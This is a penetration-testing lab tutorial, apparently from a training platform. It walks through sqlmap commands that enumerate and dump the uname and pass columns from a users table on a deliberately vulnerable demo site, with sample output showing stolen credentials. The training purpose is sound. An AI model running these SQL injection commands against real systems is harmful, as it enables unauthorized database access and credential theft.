Dump Data from Specific Table Columns with sqlmap

Introduction

In this lab, you will learn how to use sqlmap, an open-source penetration testing tool, to automate the process of detecting and exploiting SQL injection flaws and taking over database servers. Specifically, we will focus on how to dump data from specific columns within a known table. This is a common task in penetration testing and security auditing, allowing you to extract only the relevant information you need, rather than dumping an entire table. You will practice identifying the target database, table, and columns, then use sqlmap's -C flag to specify the desired columns for data extraction.

Identify the Target Database, Table, and Columns

In this step, you will learn how to identify the target database, table, and specific columns from which you want to dump data. Before you can dump data, you need to know what you're looking for. In a real-world scenario, this information would typically be gathered through prior enumeration steps using sqlmap (e.g., listing databases, tables, and columns). For this lab, we will assume you have already identified the following:

• Target URL: http://testphp.vulnweb.com/listproducts.php?cat=1 (a known vulnerable URL for demonstration purposes)
• Database: acuart
• Table: users
• Columns of interest: uname (username) and pass (password)

These details are crucial for constructing the precise sqlmap command to extract only the data you need.

To simulate the initial enumeration, you might have run commands like these (no need to execute them in this lab, as we are providing the target details):

To list databases:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs

To list tables in the acuart database:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables

To list columns in the users table within the acuart database:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns

For this lab, we will proceed directly to dumping specific columns, assuming the above enumeration has been completed.

Use the -C Flag to Specify Columns to Dump

In this step, you will learn how to use the -C flag in sqlmap to specify which columns you want to dump. This flag is essential for targeted data extraction, allowing you to retrieve only the relevant information and avoid unnecessary data.

The syntax for using the -C flag is straightforward: you provide a comma-separated list of column names immediately after the flag.

For our example, we want to dump the uname (username) and pass (password) columns from the users table within the acuart database.

The partial sqlmap command incorporating the -C flag would look like this:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass"

Let's break down the components of this command:

• -u "http://testphp.vulnweb.com/listproducts.php?cat=1": Specifies the target URL that is vulnerable to SQL injection.
• -D acuart: Specifies the database name (acuart) from which to extract data.
• -T users: Specifies the table name (users) within the acuart database.
• -C "uname,pass": This is the crucial part. It tells sqlmap to only consider the uname and pass columns for the data dump.

This command fragment is not yet complete for dumping data, but it demonstrates how to correctly specify the desired columns. In the next step, we will add the --dump flag to initiate the actual data extraction.

Use the --dump Flag to Initiate the Data Dump

In this step, you will learn about the --dump flag, which is used to initiate the actual data extraction process with sqlmap. While the -C flag specifies what columns to dump, the --dump flag tells sqlmap to perform the data dump operation.

When combined with the target URL, database, table, and column specifications, the --dump flag instructs sqlmap to retrieve the data from the specified columns and save it.

The complete sqlmap command to dump the uname and pass columns from the users table in the acuart database would be:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump

Let's review the full command:

• -u "http://testphp.vulnweb.com/listproducts.php?cat=1": The target URL.
• -D acuart: The database name.
• -T users: The table name.
• -C "uname,pass": The specific columns to dump.
• --dump: The action to perform – dump the data.

This command will instruct sqlmap to find SQL injection vulnerabilities at the given URL, and if successful, extract the data from the uname and pass columns of the users table within the acuart database. The extracted data will typically be saved in a CSV file within sqlmap's output directory.

Execute the Data Dump Command

In this step, you will execute the complete sqlmap command to dump data from the specified columns. This will simulate a real-world data extraction scenario.

Open your terminal in the ~/project directory and execute the following command:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump

Expected Output:

sqlmap will first perform various tests to detect SQL injection vulnerabilities. If successful, it will then proceed to dump the data. You will see output similar to this (exact output may vary based on sqlmap version and target response):

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |_  |
            |_| |_| |_|   3.7#dev (r19000)

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is a tool for professional penetration testers only.

[INFO] starting @ XXXX-XX-XX XX:XX:XX /YYYY-MM-DD HH:MM:SS/

... (various detection and exploitation messages) ...

[INFO] fetching columns 'uname,pass' for table 'users' in database 'acuart'
[INFO] retrieved 10 entries
Database: acuart
Table: users
+----------+----------+
| uname    | pass     |
+----------+----------+
| test     | test     |
| admin    | admin    |
| john     | doe      |
| ...      | ...      |
+----------+----------+

[INFO] table 'acuart.users' dumped to CSV file '/home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[INFO] finished @ XXXX-XX-XX XX:XX:XX /YYYY-MM-DD HH:MM:SS/

Pay close attention to the line that indicates where the data has been dumped (e.g., table 'acuart.users' dumped to CSV file '/home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'). This path is important for the next step.

Note: sqlmap might ask you a few questions during the process (e.g., about continuing with other tests, or if you want to store sessions). For this lab, you can generally press Enter to accept the default or n if it asks to skip extensive tests.

Locate and Review the Dumped Data in the CSV Output File

In this final step, you will locate the CSV file where sqlmap saved the dumped data and review its contents. sqlmap organizes its output in a structured directory, typically under ~/.local/share/sqlmap/output/.

Based on the output from the previous step, navigate to the directory where the users.csv file was saved. The path will be similar to /home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/.

First, let's navigate to the sqlmap output directory. The exact path might vary slightly based on your sqlmap version and the target, but it generally follows the pattern: ~/.local/share/sqlmap/output/<target_domain>/dump/<database_name>/.

For our example, the path is likely /home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/.

Use the ls command to list the contents of this directory:

ls -l ~/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/

You should see users.csv (and possibly other files) listed.

Now, use the cat command to view the contents of the users.csv file:

cat ~/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv

Expected Output:

The output will show the uname and pass columns, with each row representing an entry from the users table.

uname,pass
test,test
admin,admin
john,doe
...

This confirms that sqlmap successfully extracted only the specified columns, demonstrating the effectiveness of the -C flag for targeted data dumping.

Summary

In this lab, you have successfully learned how to dump data from specific table columns using sqlmap. You started by understanding the importance of identifying the target database, table, and columns. Then, you practiced constructing sqlmap commands using the -C flag to specify desired columns and the --dump flag to initiate the data extraction. Finally, you executed the command and verified the dumped data in the generated CSV output file. This targeted approach is crucial for efficient and precise data retrieval during penetration testing and security assessments.